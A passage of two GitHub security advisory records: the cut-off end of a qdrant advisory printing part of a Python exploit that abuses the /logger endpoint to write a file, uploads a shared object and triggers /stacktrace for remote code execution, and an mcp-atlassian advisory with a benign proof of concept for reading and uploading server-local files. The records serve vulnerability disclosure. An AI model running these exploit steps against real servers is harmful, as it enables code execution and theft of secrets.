},\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\nres = s.get(\n    f\"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so\",\n)\n\nprint(\"[+] Log injected\")\n\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\n\nrsp = s.post(f\"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload\", files={\"snapshot\": (\"hui.so\", cmd_so, \"application/octet-stream\")})\n\nprint(rsp.text)\n# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`\n\ninput(\"Press Enter to continue...\")\nrsp = s.get(f\"{args.url}/stacktrace\")\nrsp.raise_for_status()\n```\n\n### Impact\nRemote code execution.",
  "id": "GHSA-f632-vm87-2m2f",
  "modified": "2026-02-06T21:43:57Z",
  "published": "2026-02-05T21:22:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25628"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qdrant/qdrant"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "qdrant has arbitrary file write via `/logger` endpoint"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:36:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server\u0027s local filesystem before uploading the file as an Atlassian attachment.\n\nIn local `stdio` deployments, this can expose files readable by the user\u0027s MCP process. In documented HTTP/SSE or `streamable-http` deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.\n\nThis is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.\n\n## Details\n\nThe vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.\n\nRelevant implementation points:\n\n- `mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment`\n  - Accepts `file_path`.\n  - Converts the supplied value to an absolute path when needed.\n  - Checks existence with `os.path.exists`.\n  - Passes the path into the attachment upload flow.\n\n- `mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct`\n  - Opens the supplied `file_path` with `open(file_path, \"rb\")`.\n  - Sends the resulting file object as multipart form data to Confluence.\n\n- `mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments`\n  - Iterates caller-supplied `file_paths`.\n  - Calls `upload_attachment` for each path.\n\n- `mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment`\n  - Accepts `file_path`.\n  - Converts the supplied value to an absolute path when needed.\n  - Checks existence with `os.path.exists`.\n  - Opens the file and uploads it as a Jira attachment.\n\n- `mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments`\n  - Iterates caller-supplied `file_paths`.\n  - Calls `upload_attachment` for each path.\n\n- `mcp_atlassian.servers.jira.update_issue`\n  - Accepts an `attachments` argument as a JSON array string or comma-separated string.\n  - Converts it into attachment paths and passes them into the Jira update flow.\n\nThe project also documents non-stdio deployment modes:\n\n- `sse`\n- `streamable-http`\n- multi-user authentication\n- Docker and Kubernetes deployment\n\nTherefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.\n\nThe core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.\n\nExpected behavior:\n\n- Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or\n- Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and\n- Dangerous path forms such as remote UNC paths and `file://` URLs should be rejected before filesystem checks.\n\n## PoC\n\nThe following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.\n\nPrerequisites:\n\n- A test Confluence site.\n- A test page content ID where the tester is allowed to upload attachments.\n- A test Confluence API token or another supported authentication method.\n- Python 3.10 or newer.\n\nStart `mcp-atlassian` in HTTP mode:\n\n```bash\ndocker run --rm -p 9000:9000 \\\n  -e CONFLUENCE_URL=\"https://\u003cyour-test-site\u003e.atlassian.net/wiki\" \\\n  -e CONFLUENCE_USERNAME=\"\u003ctester-email\u003e\" \\\n  -e CONFLUENCE_API_TOKEN=\"\u003ctester-api-token\u003e\" \\\n  ghcr.io/sooperset/mcp-atlassian:latest \\\n  --transport streamable-http --host 0.0.0.0 --port 9000\n```\n\nInstall the MCP Python client:\n\n```bash\npython -m pip install \"mcp\u003e=1.8.0\"\n```\n\nRun this standalone client script:\n\n```python\nimport asyncio\nimport os\nimport tempfile\nfrom pathlib import Path\n\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\n\nasync def main() -\u003e None:\n    mcp_url = os.environ.get(\"MCP_URL\", \"http://127.0.0.1:9000/mcp\")\n    content_id = os.environ[\"CONFLUENCE_CONTENT_ID\"]\n\n    proof_dir = Path(tempfile.mkdtemp(prefix=\"mcp-atlassian-proof-\"))\n    proof_file = proof_dir / \"server-local-proof.txt\"\n    proof_file.write_text(\n        \"This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\\n\",\n        encoding=\"utf-8\",\n    )\n\n    async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):\n        async with ClientSession(read_stream, write_stream) as session:\n            await session.initialize()\n            result = await session.call_tool(\n                \"confluence_upload_attachments\",\n                {\n                    \"content_id\": content_id,\n                    \"file_paths\": str(proof_file),\n                    \"comment\": \"Security test: benign server-local upload proof\",\n                    \"minor_edit\": True,\n                },\n            )\n            print(result)\n            print(f\"Uploaded test filename: {proof_file.name}\")\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nRun it with the test page ID:\n\n```bash\nCONFLUENCE_CONTENT_ID=\"\u003ctest-page-content-id\u003e\" python poc.py\n```\n\nObserved result:\n\n1. The MCP client sends a normal `confluence_upload_attachments` tool call.\n2. The MCP server reads the temporary file from its own filesystem.\n3. The MCP server uploads that file as an attachment to the configured Confluence page.\n4. The uploaded attachment appears on the test page.\n\nSecurity significance:\n\n- The MCP caller did not need shell access to the server.\n- The MCP caller did not need direct filesystem access to the server.\n- The MCP caller only needed permission to invoke the upload tool.\n- The file read happened with the privileges of the MCP server process.\n\nThe same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.\n\n## Impact\n\nThis is a server-local file disclosure and exfiltration primitive through attachment upload tools.\n\nImpacted users:\n\n- Users running `mcp-atlassian` with write/upload tools enabled.\n- Operators exposing `mcp-atlassian` through `sse` or `streamable-http`.\n- Multi-user deployments where MCP callers are not fully trusted with arbitrary read access to the MCP server filesystem.\n- Docker or Kubernetes deployments where the MCP process can read environment files, mounted secrets, service account tokens, application configuration, or shared volumes.\n\nPotential attacker:\n\n- A malicious or compromised MCP client with permission to invoke attachment upload tools.\n- A malicious user in a multi-user MCP deployment.\n- An attacker who can supply or influence MCP tool arguments through an integrated workflow.\n\nPotentially exposed data depends on the deployment, but can include files readable by the MCP server process, such as:\n\n- application configuration\n- deployment secrets\n- cloud or service credentials mounted into the runtime\n- CI/CD or automation tokens\n- other files available to the MCP server user\n\nThis issue does not require prior compromise of the internal network in deployments where the MCP service is intentionally exposed over HTTP/SSE to multiple users or external MCP clients. The attacker only needs the ability to invoke the upload tool. The server then reads the chosen path with its own process privileges and uploads it to Jira or Confluence.\n\nIf the intended security model is that every MCP caller is fully trusted with arbitrary read access to the server filesystem, that should be documented explicitly. Otherwise, server-local file path uploads should be opt-in and constrained to a configured upload root.\n\nSuggested fixes:\n\n- Default-deny server-local path uploads in HTTP/SSE and multi-user deployments.\n- Add an explicit opt-in flag for server-local upload paths.\n- Require an allowlisted upload root and enforce it after realpath resolution.\n- Reject `file://` URLs and remote UNC path forms before any filesystem operation.\n- Prefer client-provided file/resource blobs over server-local path strings for remote MCP deployments.",
  "id": "GHSA-f6pj-qv47-g96w",
  "modified": "2026-09-22T20:36:29Z",
  "published": "2026-09-22T20:36:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "MCP Atlassian: Arbitrary server-local file upload to Jira/Confluence attachments via unrestricted file_path parameters"
}